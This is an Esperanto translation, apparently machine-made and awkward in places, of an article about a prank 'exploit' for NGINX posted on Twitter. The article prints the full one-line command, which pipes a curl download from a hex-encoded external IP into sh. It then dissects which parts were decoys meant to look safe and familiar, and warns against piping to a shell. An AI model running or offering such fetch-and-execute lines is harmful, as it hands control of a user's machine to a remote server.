La sukceso de socia eksperimento kun falsa ekspluato por nginx

Notu. transl.: aŭtoro originala noto, publikigita la 1-an de junio, decidis fari eksperimenton inter interesiĝantoj pri informa sekureco. Por fari tion, li preparis falsan ekspluatadon por nediskonita vundebleco en la retservilo kaj afiŝis ĝin sur sia Twitter. Liaj supozoj - tuj elmontritaj de specialistoj, kiuj vidus la evidentan trompon en la kodo - ne nur ne realiĝis... Ili superis ĉiujn atendojn, kaj en la kontraŭa direkto: la tvito ricevis grandegan subtenon de multaj homoj, kiuj ne faris. kontroli ĝian enhavon.

La sukceso de socia eksperimento kun falsa ekspluato por nginx

TL;DR: Ne uzu dosierdukto en sh aŭ bash en neniu cirkonstanco. Ĉi tio estas bonega maniero perdi kontrolon de via komputilo.

Mi volas dividi kun vi novelon pri komika PoC-eksplodo, kiu estis kreita la 31-an de majo. Li aperis senprokraste en respondo al novaĵoj de Alisa Esage Ŝevĉenko, membro Nula Taga Iniciato (ZDI), tiu informo pri vundebleco en NGINX kondukanta al RCE (fora koda ekzekuto) baldaŭ estos malkaŝitaj. Ĉar NGINX funkciigas multajn retejojn, la novaĵo devis esti bombo. Sed pro malfruoj en la "respondeca malkaŝo" procezo, la detaloj de kio okazis ne estis konataj - ĉi tio estas norma ZDI-proceduro.

La sukceso de socia eksperimento kun falsa ekspluato por nginx
Tweet pri vundebleco malkaŝo en NGINX

Fininte labori pri nova malklarigtekniko en buklo, mi citis la originalan tweeton kaj "likis funkciantan PoC" konsistantan el ununura linio de kodo, kiu supozeble ekspluatas la malkovritan vundeblecon. Kompreneble, ĉi tio estis kompleta sensencaĵo. Mi supozis, ke mi tuj estos elmontrita, kaj ke en la plej bona kazo mi ricevos kelkajn retweets (ho bone).

La sukceso de socia eksperimento kun falsa ekspluato por nginx
Tweet kun falsa ekspluato

Tamen, mi ne povis imagi kio okazis poste. La populareco de mia ĉirpeto eksplodis. Mirinde, nuntempe (15:00 Moskva tempo la 1-an de junio) malmultaj homoj rimarkis, ke tio estas falsaĵo. Multaj homoj retweetigas ĝin tute sen kontroli ĝin (des malpli admirante la belajn ASCII-grafikojn, kiujn ĝi eligas).

La sukceso de socia eksperimento kun falsa ekspluato por nginx
Nur rigardu, kiel bela ĝi estas!

Kvankam ĉiuj ĉi tiuj bukloj kaj koloroj estas bonegaj, estas klare, ke homoj devis ruli kodon sur sia maŝino por vidi ilin. Feliĉe, retumiloj funkcias same, kaj kombinite kun la fakto, ke mi ne vere volis eniri en juran problemon, la kodo entombigita en mia retejo nur faris eĥajn vokojn sen provi instali aŭ ekzekuti aldonan kodon.

Malgranda deturniĝo: netspooky, dnz, mi kaj la aliaj uloj de la teamo Brutulamaso Ni jam de kelka tempo ludas per malsamaj manieroj malklarigi buklajn komandojn ĉar ĝi estas mojosa... kaj ni estas geekuloj. netspooky kaj dnz malkovris plurajn novajn metodojn, kiuj ŝajnis al mi ege promesplenaj. Mi aliĝis al la amuzo kaj provis aldoni IP-dekumajn konvertiĝojn al la sako da lertaĵoj. Rezultas, ke IP ankaŭ povas esti konvertita al deksesuma formato. Plie, curl kaj la plej multaj aliaj NIX-iloj feliĉe manĝas deksesumajn IP-ojn! Do temis nur pri kreado de konvinka kaj sekura aspektanta komandlinio. Finfine mi decidis por ĉi tiu:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Socio-elektronika inĝenierado (VIDU) - pli ol nura phishing

Sekureco kaj konateco estis grava parto de ĉi tiu eksperimento. Mi pensas, ke ili estas kio kondukis al lia sukceso. La komandlinio klare implicis sekurecon per referenco al "127.0.0.1" (la konata lokagastiganto). Localhost estas konsiderata sekura kaj la datumoj sur ĝi neniam forlasas vian komputilon.

Konateco estis la dua ŝlosila SEE-komponento de la eksperimento. Ĉar la celgrupo ĉefe konsistis el homoj konataj kun la bazaĵoj de komputila sekureco, estis grave krei kodon por ke partoj de ĝi ŝajnis konataj kaj konataj (kaj tial sekuraj). Prunti elementojn de malnovaj ekspluatkonceptoj kaj kombini ilin en nekutima maniero pruvis esti tre sukcesa.

Malsupre estas detala analizo de la unu-ekskurso. Ĉio en ĉi tiu listo portas kosmetika naturo, kaj preskaŭ nenio estas postulata por ĝia reala funkciado.

Kiuj komponantoj estas vere necesaj? Ĉi tio -gsS, -O 0x0238f06a, |sh kaj la retservilo mem. La retservilo enhavis neniujn malicajn instrukciojn, sed simple servis ASCII-grafikojn per komandoj echo en la skripto enhavita en index.html. Kiam la uzanto eniris linion kun |sh meze, index.html ŝarĝita kaj efektivigita. Feliĉe, la gardantoj de la retservilo havis neniujn malbonajn intencojn.

  • ../../../%00 — reprezentas iri preter la dosierujo;
  • ngx_stream_module.so — vojo al hazarda NGINX-modulo;
  • /bin/sh%00<'protocol:TCP' - ni supozeble lanĉas /bin/sh sur la celmaŝino kaj redirekti la eligon al la TCP-kanalo;
  • -O 0x0238f06a#PLToffset - sekreta ingredienco, suplementita #PLToffset, por aspekti kiel memorofseto iel enhavita en la PLT;
  • |sh; - alia grava fragmento. Ni bezonis redirekti la eligon al sh/bash por ekzekuti la kodon venantan de la atakanta retservilo situanta ĉe 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - maniquí en kiu netcat rilatas al /dev/tcp/localhostpor ke ĉio denove aspektu sekura. Fakte, ĝi faras nenion kaj estas inkluzivita en la linio por beleco.

Ĉi tio finas la malkodigon de la unulinia manuskripto kaj la diskuton de aspektoj de "soci-elektronika inĝenierado" (malsimpla phishing).

Reteja Servilo-Agordo kaj Kontraŭrimedoj

Ĉar la granda plimulto de miaj abonantoj estas infosec/hackers, mi decidis fari la retservilon iom pli rezistema kontraŭ esprimoj de "intereso" siaflanke, nur por ke la uloj havu ion por fari (kaj estus amuze agordi). Mi ne listigos ĉiujn malfacilaĵojn ĉi tie ĉar la eksperimento ankoraŭ daŭras, sed jen kelkaj aferoj, kiujn la servilo faras:

  • Aktive kontrolas distribuajn provojn en certaj sociaj retoj kaj anstataŭigas diversajn antaŭrigardajn bildetojn por instigi la uzanton alklaki la ligilon.
  • Redirektas Chrome/Mozilla/Safari/ktp al la reklamvideo Thugcrowd anstataŭ montri la ŝelan skripton.
  • Rigardas por EVIDAJ signoj de entrudiĝo/evidente hakado, kaj tiam komencas redirekti petojn al NSA-serviloj (ha!).
  • Instalas trojanon, kaj ankaŭ BIOS-radikilon, sur ĉiuj komputiloj, kies uzantoj vizitas la gastiganton de regula retumilo (ŝerce!).

La sukceso de socia eksperimento kun falsa ekspluato por nginx
Eta parto de antimeroj

En ĉi tiu kazo, mia sola celo estis regi kelkajn el la funkcioj de Apache - precipe, la bonegaj reguloj por alidirekti petojn - kaj mi pensis: kial ne?

Ekspluatado de NGINX (Vera!)

Abonu @alisaesage en Twitter kaj sekvu la bonegan laboron de ZDI por trakti tre realajn vundeblecojn kaj ekspluati ŝancojn en NGINX. Ilia laboro ĉiam fascinis min kaj mi dankas al Alicio pro ŝia pacienco kun ĉiuj mencioj kaj sciigoj kaŭzitaj de mia stulta tweet. Feliĉe, ĝi ankaŭ faris iom da bono: ĝi helpis konscion pri NGINX-vundeblecoj, kaj ankaŭ problemojn kaŭzitajn de misuzo de buklo.

fonto: www.habr.com

Aldoni komenton